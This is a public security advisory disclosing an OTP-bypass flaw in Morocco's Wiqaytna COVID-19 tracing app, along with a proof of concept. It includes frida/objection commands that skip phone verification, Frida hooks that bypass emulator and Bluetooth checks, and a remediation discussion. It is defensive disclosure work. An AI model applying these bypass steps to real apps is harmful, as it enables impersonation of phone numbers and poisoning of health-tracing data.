



H.A.T

Version 1.0, 2020-11-23

## **Table of Contents**

. Description
2. Proof Of Concept
2.1. Preparation
2.2. Attack Vector
3. Remediation
3.1. Context
3.2. Suggested Fix
A. Frida gadgets
3. Iconography

**This urgent security advisory is about to describe a Major vulnerability** discovered during the security assessment of Morocco's COVID-19 Mobile Tracing Application Wiqaytna. It will start by going through a description of the vulnerability, then a Proof of Concept will follow before concluding on a suggested remediation.

Commit			481661f		
Delivery			23/11/2020	23/11/2020	
Recipient	Name		Title	Company	
	Mohamed	I			
	Youssef				
	Mohamed	I			
	Nasser				
	Zouheir ====				
Changelog	Date	Version	Ch	nanges	
	20/06/2020	0.1	Analys	is Started	
	11/07/2020	0.3	Anamnesis & Static	Diagnostic Completed	
	17/07/2020	0.5	Urgent Security Ad	visory with PoC Issued	
	23/08/2020	0.7	Remediati	on Confirmed	
	23/11/2020	1.0	Anonymisation ar	nd public disclosure	
<b>^</b>			PUBLIC		
<b>L</b> ¥	This docu	ment is, unless	contraindicated, under C	CC BY-NC 3.0 licence	

## **Chapter 1. Description**

A **Major** vulnerability has been discovered during the security assessment of Morocco's COVID-19 Mobile Tracing Application *Wiqaytna*.

It concerns a core component of the application (**Authentication**) and can be classified under **A2:2017-Broken Authentication** in OWASP Top Ten [https://owasp.org/www-project-top-ten/ OWASP\_Top\_Ten\_2017/Top\_10-2017\_A2-Broken\_Authentication] or **CWE-287: Improper Authentication** in **Common Weakness Enumeration** [https://cwe.mitre.org/data/definitions/287.html].

A malicious actor can leverage this vulnerability of **bypassing the second step of authentication** (*OTP to a phone number*) to potentially **impersonate and register to the platform as any given phone number**.

**Depending on the data treatment** behind the scenes on the platform, the impact could range from **poisoning** the COVID-19 Tracing dataset to **real-life consequences** as creating an artificial cluster targeting a person of interest or a rival company.

The vulnerability has been scored using the CVSS v3.1 risk assessment framework and can be summarize as follow:



\* - All base metrics are required to generate a base score.

Figure 1. CVSS Vector

#### Vulnerability 1. OTP

•	A2:2017-Broken Authentication / CWE-287: Improper Authentication	0 6
V	<b>Major</b> Vulnerability scoring 8.6	ŏ.0
Finding	OTP for phone number verification can be bypassed	
Impact	Depending on the backend data treatment, impact could range from data poison real-life consequences as creating an artificial cluster targeting a person of inter rival company.	ning to est or a
Recos	It is recommended to improve the security of the Authentication process by enh the implemented Firebase Authentication method.	ancing
	Action plan is <b>medium</b> and should be taken into consideration in a <b>very short term</b>	
	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L	



Figure 2. Radar view

## **Chapter 2. Proof Of Concept**

## 2.1. Preparation

It should be noted that tests were conducted using the official Android version (1.1.0 at the time of *writing*) available on the Play Store, and **does not require any particular pre-condition** to exploit the vulnerability. The following tests were nevertheless conducted on a rooted phone for simplicity purposes.



Tests were also conducted on a non-rooted device (Android Emulator running a Production Android 9) and provided the same behavior.

💓 Appli	ations 🛛 🚯 Burp Suite Community E 👩 Android Emu	ator - Pie 🖬 Terminal	- hat@android: ~ 🔄 [Terminal - hat@android 🖬 Terminal - hat	t@android	20:39 💊 H.A.T
	Terminal - hat@andro	id: ~	Bu	rp Suite Community Edition v2020.5.1 - Temporary Project	* _ = ×
File Ed	it View Terminal, Tabs Help		Burp Project Intruder Repeater Window Help		
hat@		te ^ ity	Dashboard Target Proxy Intruder Repeater Sequence	er Decoder Comparer Extender Project options User options	
۲۱_	•	U U	Intercept HTTP history WebSockets history Options		
		•	Filter: Hiding CSS, image and general binary content		0
	Français		# V Host Meth URL	Para Edited Status Length MIME ty Extensi Title	Comment TLS IP
		•	108 http://play.googleapis.c GET /generate_204 107 http://connectivitycheck GET /generate_204	204 102 204 102	216.58.211.42 172.217.168
	المرجو إدخال رقم هاتفك المحمول	$\otimes$	106 http://play.googleapis.c GET /generate_204 105 http://connectivitycheck GET /generate_204	204 102 204 102	216.58.211.42 216.58.211.35
			104 http://play.googleapis.c GET /generate_204 103 http://connectivitycheck GET /generate_204	204 102 204 102	216.58.209.74 216.58.201.163
			102 http://www.google.com GET /gen_204	204 314 HTML	216.58.211.36
		Ø	100 https://connectivitycheck	✓ 200 1399 JSON	√ 216.239.36.54
	. 212 61111111		99 http://www.google.com GET /gen_204 98 http://connectivitycheck GET /generate_204	204 314 HTML 204 102	172.217.17.4 172.217.16.227
	+212	<b>©</b> ,	97 http://www.google.com GET /gen_204 96 http://connectivitycheck GET /generate_204	204 314 HTML 204 102	216.58.201.164
		4		Terminal - hat@android (10.9.20.224) - byol	u + . n ×
	ستتوصل برسالة قصية (SMS) تحتوى على رقو التأكيد		Request Response	File Edit View Terminal Tabs Help	
	(الكوّد). رقم التأكيد سيبَقى صالحاً لمدّة 5 دقائق	0	Raw Headers Hex	[ + ] ShouldLog = True	
			7 Date: Tue, 23 Jun 2020 14:29:51 GMT 8 Server: ESF	[ + ] ShouldLog = True	
		l ¯	9 X-XSS-Protection: 0 10 X-Frame-Options: SAMEORIGIN	<pre>[ + ] {writable,sdcard} = true [ + ] ShouldLog = True</pre>	
			11 Alt-Svc: h3-28=":443"; ma=2592000,h3-27=":443"; ma=25920 12 Connection: close	<pre>[ + ] {writable,sdcard} = true</pre>	':4
			13 Content-Length: 414	[ + ] ShouldLog = True	
			15 { "settings version"-2	[ + ] ShouldLog = True	
			"cache_duration":86400,	[ + ] {writable,sdcard} = true [ + ] Shouldlog = True	
			"collect_logged_exceptions":true,	<pre>[ + ] {writable,sdcard} = true</pre>	
	احصل على رقم التأكيد		"collect_analytics":false,	<pre>[ + ] ShouldLog = True [ + ] {writable sdcard} = true</pre>	
			"push_enabled":false,	[ + ] ShouldLog = True	
			"firebase_crashlytics_enabled":false },	<pre>[ + ] {writable,sdcard} = true [ + ] Should on = True</pre>	
	◀ ● ■		"app":{ "status":'activated",	<pre>[ + ] {writable,sdcard} = true</pre>	
			"update_required":false, "report upload variant":1.	[ + ] ShouldLog = True	
			"native_report_upload_variant":2	[ + ] ShouldLog = True	
		·	"fabric":{ "org_id":"Sebbddd06bfe673a25000003".	<pre>[ + ] {writable,sdcard} = true</pre>	
			"bundle_id":"covid.trace.morocco"	@ 10 0:-* 7h51m 0.96 4x2.5GHz 14.6G25	6.0G84% 2020-06-23 20:39:55
			}	,	1
			⑦ ⊕ ← → Search		0 matches Vn Pretty
			📥 🔛 🚊 🦭 🖉		

Figure 3. Testing on a Non-Rooted Android Emulator

Hardware-wise, a rooted phone (*Xiaomi Redmi Note 6 Pro*) running on Lineage OS with the latest Android version (*Android 10*) was used to demonstrate the following Proof of Concept.

• Make sure that frida server [https://frida.re/docs/android/] is installed and running on the phone:

```
$ curl -0 https://build.frida.re/frida/android/arm/bin/frida-server
$ adb push frida-server /data/local/tmp/
$ adb shell "chmod 755 /data/local/tmp/frida-server"
$ adb shell "/data/local/tmp/frida-server &"
```

• Make also sure that objection [https://github.com/sensepost/objection] is installed on the testing computer:

\$ pip3 install objection

### 2.2. Attack Vector

Let's break down the Proof of Concept video:

• [00:03] Launching Application covid.trace.morocco using frida:



Figure 4. PoC video at the 00:03 mark



It should be noted that the start.js is completely optional and have no link with the attack vector: These Frida gadgets are merely helper to disable some onboot checks and to enable application logs for the sake of clarity.

• [00:25] RegisterNumberFragment view is created and a random number is registered





Figure 5. PoC video at the 00:25 mark

• [00:30] signInAnonymously is successful

<pre>(u) = Job/Jeace @v.33 (bbb0) = OnboardingActivity, NOT-IDLE = Value WrageScr01stateChanged [ \o/ ] 15/07/2020 @0:53 [DEBUG] : OnboardingActivity, NOT-IDLE = position: 1</pre>	نحقق
<pre>two = Jobs/Jack Bergs (Charles) = Onton LangueLitty, NOT-IDLE = WeightsCriticaleChanged [ \so   Js/07/2020 Bers3 [DEBUG] : OnboardingActivity, NOT-IDLE position: 1</pre>	تحقق
<pre>Log = True { Shouldage = Tr</pre>	نحفق
<pre>to _ i _ if//i2/202 00:30 to tool _ i onboardingscrivity, NOT-DDLE ongescrivitstatechanged ( \o / i _ Shouldog = True</pre>	6651
<pre>(v) j Shorlage ersos locade ; encourd angle civity, Hor Spec on agescroitStatechanged (v/ j Shouldage = True (v/ j Shouldage True (v/ j Shouldage Strue); encourdingActivity, NOT-IDLE Fo6xNBKIStWeVBP10tbKy20iCid2</pre>	
(v)   shorlog = True [vo]   Shorlog = True [vo]   Shorlog = True [vo]   Shorlog = True [vo]   Shorlog = True	
(v) i Divizica de Di dicado i industriamanta angle a di angle di aggescri di state nangea (+) Shouldog = True	
[+] Shoulding = True (x) / 15 (x) / 200	أعد ارسال الرمز
[ \o/ ] 15/07/2020 00:53 [DEBUG] : OnboardingActivity, NOT-IDLE Navigating to next page	
( \o/ ) 15/0//2020 00:53 [DEBUG] : OnboardingActivity, NOT-IDLE signInAnonymously:success ( + ) Should one = True	
[+] ShouldLog = True	
(+) 5N00'06.09 = True (>o/ ) 15/07/2020 00:53 [DEBUG] : 0TPFragment, NOT-IDLE onUpdatePhoneNumber +212600000000	
\o/ j 15/07/2020 00:53 [DEBUG] : RegisterNumberFragment, NOT-IDLE The value retrieved: +212600000000 output the second	
	دقيقتين
	إذا لم تتمكن من تلقي الرمز ، فستتمكن من طلبه في غضون
objection gauget consistencemenoeco experie	
— d ) ≥ ~/code/frida — objection — obj	( ⟨ 00:52:40 ♥ )
	الرسالة القصيرة (SMS)
2020-07-15 00:06:20.427 scrcpy[75256:6556804] INFO: Initial texture: 376x800	المرجو إدخال رقم التاكيد الذي توصلت به في
2020-07-15 00:06:20.422 scrcpy[75256:6556804] INFO: Renderer: metal	the second se
server] INFO: Device: Xiaomi Redmi Note 6 Pro (Android 10) 1920-87-15 08:06:20.427 scrcov[75556:5555684] INFO: Created renderer: metal	
usr/local/Cellar/scrcpy/1.14_1/share/scrcpy/scrcpy-server: 1 file pushed, 0 skipped. 58.9 MB/s (33142 bytes in 0.001s)	
(code) → (1.3 S ¥ 2.7.6 ♥ () Scrcpy → D24 → m880 0220-07-15 00:06(19.676 Scrcpy (75256:6556804) INFO: scrcpy → 1.4 shttps://github.com/exercpy=	
	r t ) = ~
(22/0→7-15 00:05:19/351 scrcpy(/052/15540008) INFU: Kenderer: metal (22/0→7-15 00:05:19/355 scrcpy(/052/15540008) INFU: Initial texture: 1080x2280	Francaia
828-87-15 08:85:89.951 scrcpy[7827:6546088] INFO: Created renderer: metal	
usi/ uca/ve(tai/st(tp/iii=_i/sinet/st(tp/st(tp/st(tp/st/ve) i fite pushed, 0 skipped, 29.5 Hb/s (33142 bytes in 0.0015) server] INFO: Device: Xiaomi Redmi Note 6 Pro (Andreid 10)	
turn/legal/fallar/correnu/1 14 1/chara/correnu/correnu/correnu 1 file nucled A chinned 20 E MB/c (22142 huter in A AAIc)	

Figure 6. PoC video at the 00:30 mark



Despite the fact that the OTP confirmation was not yet been submitted nor verified, the application is already signed in the firebase environment. Thus, bypassing the OTP screen is the only remaining step to continue the "normal" behavior of the application.

• [00:33] objection is launched

\$ objection --gadget covid.trace.morocco explore

2820-87-15 08:85:89.143 scrcpt/786 /usr/leat/Cellar/scrcpt/1.42_1/36 /server] NNC Device: Xaaami Redu 2820-87-15 08:85:49.353 scrcpt/789 2820-87-16 08:85:49.353 scrcpt/789 2820-87-16 08:85:49.355 scrcpt/789 2820-87-15 08:85:49.355 scrcpt/787 /server] 2820-87-15 08:05:19.676 scrcpt/737 /server] NNC: Device: Xiaami Redu [server] NNC: Device: Xiaami Redu 2820-87-15 08:06:28.422 scrcpt/757	227:6546000] INFO: scropy 1.14 -https://github.com/Genymobile/scropy> mare/scropy/scropy-scruer: 1 file pushed, 0 skipped. 29.5 MB/s (33142 bytes in 0.001s) is Note 6 Pro (Android 10) 27:6546000] INFO: Informer: metal 27:6546000] INFO: Informer: metal 27:6546000] INFO: Informer: metal 27:6546000] INFO: Informer: metal 56:6556004] INFO: scropy 1.14 -https://github.com/Gomymobile/scropy- mare/scropy/scropy-scruer: 1 file pushed, 0 skipped. 39.9 MB/s (33142 bytes in 0.001s) is Note 6 Pro (Android 10) 56:65565000] INFO: created renderer: metal	-	Français
2020-07-15 00:06:20.422 scrcpy[752 2020-07-15 00:06:20.427 scrcpy[752	556:6558800] IMFO: Renderer: metal 556:6556804] IMFO: Initial texture: 376:000	ىلت بە في	المرجو إدخال رقم التأكيد الذي توص الرسالة القصيرة (SMS)
3 objection —gadget covid.trace.n b	explore	ه في غضون	إذا لم تتمكن من تلفي الرمز ، فستتمكن من طلبه دفيقتين
[\o/] 15/07/2020 00:53 [DEBUG] : [+] Should.og = True [ \o/] 15/07/2020 00:53 [DEBUG] :	RegisterNumberFragment, NOT-IDLE The value retrieved: +212600000000 OTPFragment, NOT-IDLE onUpdatePhoneNumber +21260000000		
[+] ShouldLog = True [ \o/ ] 15/07/2020 00:53 [DEBUG] : [+] ShouldLog = True [ \o/ ] 15/07/2020 00:53 [DEBUG] :	OnboardingActivity, NOT-IDLE signInAnonymously:success OnboardingActivity, NOT-IDLE Navigating to next page		
[+] ShouldLog = True [\o/] 15/07/2020 00:53 [DEBUG] : [+] ShouldLog = True [\o/] 15/07/2020 00:53 [DEBUG] :	OnboardingActivity, NOT-IDLE OnPageScrollStateChanged OnboardingActivity, NOT-IDLE position: 1		أعد إرسال الرمز
<pre>[ + ] ShouldLog = True [ \o/ ] 15/07/2020 00:53 [INFO] : [ + ] ShouldLog = True [ \o/ ] 15/07/2020 00:53 [DEBUG] : </pre>	OnboardingActivity, NOT-IDLE Fu6xWWKIStWdVBP10tbKy201C1d2 OnboardingActivity, NOT-IDLE OnPageScrolled		تحقق
<pre>[ \o/ ] 15/07/2020 00:53 [DEBUG] : [ + ] ShouldLog = True [ \o/ ] 15/07/2020 00:53 [DEBUG] :</pre>	OnboardingActivity, NOT-IDLE OnPageScrolled OnboardingActivity, NOT-IDLE OnPageScrolled		
10.15.3 0:yajora* 1:android-	<b>61</b> 12h531 6.71 4x2.10Hz 7.6659% hat@Yajora 192%168;27,198 2020-07-15 00:53	:28	•

Figure 7. PoC video at the 00:33 mark

• [00:38] Bypass the OTP screen by calling the intent 'launch\_activity' of the 'MainActivity'

\$ android intent launch\_activity covid.trace.morocco.MainActivity

<pre>[ + ] ShouldLog = True [ \o/ ] 15/07/2020 00:53 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled [ \= ] ShouldLog = True [ \o/ ] 15/07/2020 00:53 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled</pre>	
[+] ShouldLog = True [\o/] 15/07/2020 00:53 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled	
[+] ShouldLag = True [ \o/ ] 15/07/282 @053 [DEBUG] : OnboardingActivity. NOT-IDLE OnPageScrolled	تحقق
<pre>[ + ] ShouldLog = True [ \o/ ] 15/07/2020 00:53 [INFO] : OnboardingActivity, NOT-IDLE Fu6x000KIStWdV8P10tbKy2QiC1d2</pre>	
<pre>[ + ] ShouldLog = True [ \o/ ] 15/07/2020 00:53 [DEBUG] : OnboardingActivity, NOT-IDLE position: 1</pre>	
<pre>[+ ] ShouldLog = True [\o/] 15/07/2020 @0:53 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrollStateChanged</pre>	أعد إرسال الرمز
<pre>[+ ] SnouldLog = Frue [\o/] 15/07/2020 00:53 [DEBUG] : OnboardingActivity, NOT-IDLE Navigating to next page</pre>	
<pre>[ \o' ] 15/07/2020 00:53 [DEBUG] : OnboardingActivity, NOT-IDLE signInAnonymously:success</pre>	
<pre>(\o') 15/07/2020 00:53 [DEBUG] : OTPFragment, NOT-IDLE onUpdatePhoneNumber +212600000000 [\o'] 15/07/2020 00:53 [DEBUG] : OTPFragment, NOT-IDLE onUpdatePhoneNumber +212600000000</pre>	
<pre>[ \o/ ] 15/07/2020 00:53 [DEBUG] : RegisterNumberFragment, NOT-IDLE The value retrieved: +2126000000000 [ + ] Should on = True</pre>	
(tab) for command suggestions covid.trace.morocco on (Xiaomi: 10) [usb] # android intent launch_activity covid.trace.morocco.MainActivity	
by: @Leonjza from @sensepost	
Runtine Mobile Exploration	
	ردا م شمکن من تنقي الزمر ، فستنفخل من صببة مي عصون دقيقتين
	الأله تتمكير مرد تلقي الرمة نفستتمكير مرد والرمة بفضور
The "freeze_support()" line can be omitted if the program is not going to be frozen to produce an executable.	
freeze_support()	
2020-07-15 00:06:20.427 scrcpy(75256:6556804) INFO: Initial texture: 376x800	المرجو إدخال رقم التاكيد الذي توصلت به في البسالة القصيبة (SMS)
2020-07-15 00:06:20.422 scrcpy[75256:6556004] INFO: Created renderer: metal 2020-07-15 00:06:20.422 scrcpy[75256:6556004] INFO: Renderer: metal	
/usr/local/Cellar/scrcpy/1.14_1/share/scrcpy/scrcpy-server: 1 file pushed, 0 skipped. 58.9 MB/s (33142 bytes in 0.001s) [server] INFO: Device: Xiaomi Redmi Note 6 Pro (Android 10)	
/code 2020-07-15 00:06:19.676 scrcpy[75256:6556804] INFO: scrcpy 1.14 <https: genymobile="" github.com="" scrcpy=""></https:>	
2020-07-15 00:05:09.955 scrcpy[70927:6546008] INFO: Initial texture: 1080x2280	Français
2820-87-15 00:05:09.951 scrcpy(19027:0546008] INFO: Created renderer: metal 2820-87-15 00:05:09.951 scrcpy(19027:0546008] INFO: Renderer: metal	
Vusr/ical/Cellar/strcpy/l.14_L/Share/strcpy/strcpy-server: 1 tile pushed, & skipped. 29.5 MB/S (33142 bytes in 0.0015) [server] INFO: Device: Kinomi Redmi Note 6 Pro (Antorial 10)	

*Figure 8. PoC video at the 00:38 mark* 



By triggering the intent on the MainActivity, the application restarts the Onboarding Activity on the permission fragment, thus bypassing the OTP and Personal Information screens.

• [00:42] Setting permissions



Figure 9. PoC video at the 00:42 mark

• [00:58] Application fully operational



Figure 10. PoC video at the 00:58 mark

### • [01:01] Up to date COVID-19 statistics

<pre>/ukr/lcal/cal/cal/cal/scrcpy/1.14_1/share/scrcpy/scrcpy-server: 1 Tile pushed, 0 \$kipped. 29.5 Mb/5 (33142 bytes in 0.0015) /320-09-15 00:05:09.055 scrcpy/10927:05640008 ] MFO: Created renderer: metal /320-09-15 00:05:09.055 scrcpy/10927:0540008 ] MFO: Instinct renderer: metal /320-09-15 00:05:09.055 scrcpy/10927:0540008 ] MFO: Instinct renderer: 1000-2200 //scrcpy-b24-scrcpy-1292 //s556008 ] MFO: Instinct renderer: 1000-2200 //scrcpy-b24-scrcpy-1292 //s5560508 ] MFO: Instinct renderer: 1000-2200 //scrcpy-b24-scrcpy-1292 //s5660556000 ] MFO: Instinct renderer: 1000-2200 //scrcpy-b24-scrcpy-1292 //s5660508 ] MFO: scrcpy 1.14 -https://github.com/comymobile/scrcpys //scrcps-15 00:05:02.02 //scrcpy/75256:5556001 INFO: scrcpy 1.14 -https://github.com/comymobile/scrcpys //scrcps-15 00:05:02.02 //scrcpy/75256:5556001 INFO: scrcpy 1.14 -https://github.com/comymobile/scrcpys //scrcps-15 00:05:02.02 //scrcpy/75256:5556001 INFO: scrcpy 1.04 -https://github.com/com/mobile/scrcpys //scrcps-15 00:05:02.02 //scrcpy/75256:5556001 INFO: scrcpy 1.04 -https://github.com/com/mobile/scrcpys //scrcps-15 00:05:02.02 //scrcpy/75256:5556001 INFO: scrcpy 1.04 -https://github.com/com/mobile/scrcpys //scrcps-15 00:05:02.02 //scrcpy/75256:5556001 INFO: Instinct leture: 376:0800</pre>	5		ن الإحصائيات آخر تحديث ، 14 يوليوز 1961
The "freeze_support()" Line can be omitted if the program is not going to be frozen to produce an executable. Agent injected and responds ok!		161 الحالات المؤكدة	المتعافون 508 الوفيات 2
· · · ·   · -   · -   · ·   · ·       · -   ·   ·   ·   ·   ·   ·    (object)žnject(žon) v1.9.5			الإحصائيات منذ بداية الوباء
Runtime Mobile Exploration by: @leonjza from genespost Table for comment supers lows	1	16097	المتعافون 13442
covid.trace.morocco m(Xiaomi: 10) [usb] # android intent launch_activity covid.trace.morocco.MainActivity (agent) Sarting activity covid.trace.morocco.MainActivity (agent) Activity successfully asked to start. covid.trace.morocco m(Xiaomi: 10) [usb] # []		الحالات المؤكدة	الوقيات 257
			التقسيم حسب الجهات
<pre>(\o', 15/07/2020 00:53 [DMF0] : OnboardingActivity, NOT-IDLE Fu6xN0KIStWd0010tbKy2QiCld2 (+ ) Should.og = True (\o', 15/07/2020 00:53 [DMF0] : RegisterNumberFragment, NOT-IDLE Making view</pre>		1,10 %	بني ملال -خنيفرة
(+) Janualdog = rice (x) 15/97/228200533 [DNFO] : RegisterNumberFragment, NOT-IDLE View created (+) Shouldlog = True (x) 15/97/228200633 [DNFO] : RegisterNumberFragment, NOT-IDLE Making view		24,67%	الدار البيضاء-سطات
(*) Shouldtog = True (xo) 15/97/228200533 [DHF0] : RegisterNumberFragment, NOT-IDLE View created (*) Shouldtog = True (xo) 15/07/2020008153 [DHF0] : RegisterNumberFragment. NOT-IDLE Making view		3,65 %	درعة -تافيلالت
[ + ] Shoulding = True ( \o/ ] 15/07/2020 00:53 [INFO] : RegisterNumberFragment, NOT-IDLE View created + ] Shoulding = True		0,12 %	الداخلة- وادي الذهب
<pre>( \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \</pre>		رفع أنمعطيات لصائح	الرئيسية إحصائيات
[ \u07 ] 15/0/2020 00:53 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??           [ ] 10.15.3 [3:yajorar] :android-         61 [12]5517 [7.21] 4x2[300H] 7.55560; hat@Yajora [1224153927410] 2020-07-15 00:53:5	6	•	• =

Figure 11. PoC video at the 01:01 mark

## **Chapter 3. Remediation**

### 3.1. Context

As the application source code is <u>publicly available</u> [https://github.com/Wiqaytna-app/wiqaytna\_android/], it is possible to look for the OTP implementation through the following files by matching the corresponding log outputs.

RegisterNumberFragment.kt

```
private fun requestOTP() {
   mView?.let { view ->
        phone_number_error.visibility = View.INVISIBLE
        var numberText: String
        if (phone_number.text.toString().length == 10) {
            numberText = phone_number.text.toString().substring(1)
            CentralLog.d("used number", "$numberText")
        } else {
            numberText = phone_number.text.toString()
            CentralLog.d("used number", "$numberText")
        }
        val fullNumber = "$countryCode${numberText}"
        phoneNumber = fullNumber
        CentralLog.d(TAG, "The value retrieved: ${fullNumber}") ①
        val onboardActivity = context as OnboardingActivity
        Preference.putPhoneNumber(
            WiqaytnaApp.AppContext, fullNumber (2)
        )
        onboardActivity.updatePhoneNumber(fullNumber)
        onboardActivity.requestForOTP(fullNumber)
    }
}
```

1 Phone number retrieved

② FullNumber saved in AppContext



The phone number is registred as an Appcontext prior to OTP verification

OnboardingActivity.kt

```
. . .
// [START on_start_check_user]
public override fun onStart() {
    super.onStart()
    // Check if user is signed in (non-null) and update UI accordingly.
    val currentUser = auth.currentUser
    updateUI(currentUser)
}
// [END on start check user]
private fun updateUI(user: FirebaseUser?) {
    val isSignedIn = user != null
    // Status text
    if (isSignedIn) {
        uid = user!!.uid
        CentralLog.i(TAG, uid) ①
    } else {
       uid = ""
    }
}
fun requestForOTP(phoneNumber: String) {
    onboardingActivityLoadingProgressBarFrame.visibility = View.VISIBLE
    speedUp = false
    resendingCode = false
    auth.signInAnonymously()
            .addOnCompleteListener(this) { task ->
                if (task.isSuccessful) {
                    // Sign in success, update UI with the signed-in user's
information
                    CentralLog.d(TAG, "signInAnonymously:success") ②
                    val user = auth.currentUser
                    sendPostRequest(user!!.uid, phoneNumber)
                             .addOnSuccessListener {
                                navigateToNextPage()
                                updateUI(user)
                            }
. . .
```

1 User UID

② Successful authentication



The authentication *(signInAnonymously)* is completed before validation of the phone number through an OTP.

### 3.2. Suggested Fix

It has been proven that the Authentication method used (*Anonymous Authentication*) is not secured enough and can be detrimental to the confidentiality, the integrity and the availability of the application.

Unfortunately, there is no quick fix for this vulnerability, as **Google Firebase is the single point of failure in our case**.

It may be suggested to use a different method like for instance the proper phone authentication [https://firebase.google.com/docs/auth/android/phone-auth]:

```
PhoneAuthProvider.getInstance().verifyPhoneNumber(
    phoneNumber, // Phone number to verify
    60, // Timeout duration
    TimeUnit.SECONDS, // Unit of timeout
    this, // Activity (for callback binding)
    callbacks) // OnVerificationStateChangedCallbacks
```

Not only one should balance this solution with some security concerns as stated on Firebase API Documentation [https://firebase.google.com/docs/auth/android/phone-auth#security-concerns]...

"Authentication using only a phone number, while convenient, is less secure than the other available methods, because possession of a phone number can be easily transferred between users. Also, on devices with multiple user profiles, any user that can receive SMS messages can sign in to an account using the device's phone number.

If you use phone number based sign-in in your app, you should offer it alongside more secure sign-in methods, and inform users of the security tradeoffs of using phone number sign-in."

...but it also comes with an additional **\$0.06 per verification** cost as priced in Firebase page [https://firebase.google.com/pricing].



In conclusion, fixing this vulnerability depends solely on finding a balance between end-user accessibility and the underlying costs, parameters that are out of scope of the present assessment. 17

# A. Frida gadgets

```
// Bypass VM Check
Java.perform(function() {
 console.log("[ * ] Starting IsEmu override...")
 var IsEmu = Java.use("covid.trace.morocco.h");
 IsEmu.c.overload().implementation = function(){
     console.log("[ + ] VM check successfully bypassed!")
     return false;
}
});
// Bypass Bluetooth check
Java.perform(function() {
 console.log("[ * ] Starting IsBTAvailable override...")
 var IsBT = Java.use("covid.trace.morocco.h");
 IsBT.b.overload().implementation = function(){
     console.log("[ + ] IsBTAvailable check successfully bypassed!")
     return false;
 }
});
// Set Should Log to true
Java.perform(function() {
 console.log("[ * ] Setting ShouldLog to True ...")
 var Central = Java.use("covid.trace.morocco.c.a$a");
 Central.b.overload().implementation = function(){
     console.log("[ + ] ShouldLog = True")
     return true;
 }
});
// Hijack logging stream to file
Java.perform(function() {
 console.log("[ * ] Attempting to hijack log stream...")
 var SDLog = Java.use("covid.trace.morocco.c.b");
 console.log("[ * ] Setting writable and sdcard to true...")
 SDLog.a.overload().implementation = function(){
     console.log("[ + ] {writable,sdcard} = true");
     return true;
 };
 SDLog.a.overload('java.lang.String').implementation = function(str){
     console.log("[ * ] Attempting to create new log file");
     var sb = Java.use("java.lang.StringBuilder").$new();
     sb.append("/data/user/0/covid.trace.morocco/files/SDLogging");
     var file = Java.use("java.io.File").$new(sb.toString());
     file.mkdirs();
     var out = Java.use("java.io.File").$new(file, "Wiqaytna_" + str + ".log");
     var fw = Java.use("java.io.FileWriter").$new(out, true);
```

```
var bw = Java.use("java.io.BufferedWriter").$new(fw);
    return bw;
};
// Hijack Logging stream to console
SDLog.a.overload('java.lang.String','[Ljava.lang.String;').implementation = function
(tag,msg){
    var lyoum = Java.use('java.util.Date').$new();
    // SHORT static int 3, LONG static int 1, MEDIUM static int 2
    var dateformat = Java.use('java.text.DateFormat').getDateTimeInstance( 3,3, Java
.use('java.util.Locale').$new("FR","fr"));
    console.log("[ \\o/ ] "+ dateformat.format(lyoum) + " "+"["+tag+"]"+" : " + msg);
};
});
```

## **B. Iconography**

Iconography 1. Anomaly

Icon	Label
l	Major Anomaly that could potentially lead to a vulnerability
	Minor Anomaly that could disrupt the normal execution of the application
ß	Low Anomaly or Information notice to be taken into consideration

#### Iconography 2. Complexity

Icon	Label
ß	Complex and out-of-scope actions impacts heavily on the application environment, undergoing an impact study that could potentially spawn over time is highly recommended
665	Actions have a Medium impact on the application environment, undergoing an impact study before mitigation is recommended
(8)	Actions are quick and simple enough to be undergone without an impact study but may require prior validation

#### Iconography 3. Confidentiality

Icon	Label
$\bigotimes$	Publishing a confidential information is detrimental to the security, integrity and availability of the application
	Publishing a restricted information may cause prejudice to the security, integrity and availability of the application
17	This document is, unless contraindicated, under CC BY-NC 3.0 licence

#### Iconography 4. Impact

Icon	Label
	Critical vulnerability that will lead to a complete leak of sensitive information / total integrity loss / total availability downtime
V	Major vulnerability that could potentially lead to a complete leak of sensitive information / total integrity loss / total availability downtime
~	Medium vulnerability that could potentially lead to a partial leak of sensitive information / partial integrity loss / partial availability downtime
$\heartsuit$	Minor vulnerability that have no direct impact on confidentiality, integrity or availability of the application, but could potentially be used in a more advanced attack scenario

Iconography 5. Security Level

17

Icon	Label
	Security level is Poor
	Security level is Low
	Security level is Perfectible
	Security level is Good
	Security level is Excellent

Iconography 6. Priority

Icon	Label
	Actions should be taken immediately
X	Actions should be taken within a month time frame
X	Actions should be scheduled within a 6 month time frame
X	Actions should be planified within a year time frame

Iconography 7. Typology

Icon	Label
>_	Affects the execution or the configuration of System components
	Affects the Application Code
Ø	Affects Personally Identifiable Information (PII)
	Affects the Application on a Global scale (System, Code and PII)

